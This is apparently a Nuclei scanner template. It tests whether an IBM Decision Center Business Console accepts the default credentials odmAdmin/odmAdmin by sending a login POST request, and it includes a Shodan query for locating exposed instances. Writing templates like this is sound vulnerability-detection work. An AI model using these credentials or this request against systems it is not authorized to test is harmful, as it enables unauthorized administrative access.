id: ibm-dcbc-default-login

info:
  name: IBM Decision Center Business Console - Default Login
  author: DhiyaneshDK
  severity: high
  reference:
    - https://www.ibm.com/docs/en/odm/8.0.1?topic=users-tutorial-getting-started-decision-center-business-console
  metadata:
    verified: true
    max-request: 1
    shodan-query: "title=\"Decision Center | Business Console\""
  tags: ibm,default-login,decision-center

http:
  - raw:
      - |
        POST /decisioncenter/j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

    host-redirects: true
    max-redirects: 3

    attack: pitchfork
    payloads:
      username:
        - odmAdmin
      password:
        - odmAdmin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "userName: 'odmAdmin'"
          - "Log out"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022040f72a433ca91e4c98b506c1cc01f6104d9c69ab77552363a33c1c2a6af5af570220612d68c051d89b8821deb34026dc1141066f7e695be2e46f4e40463b67f63b25:922c64590222798bb761d5b6d8e72950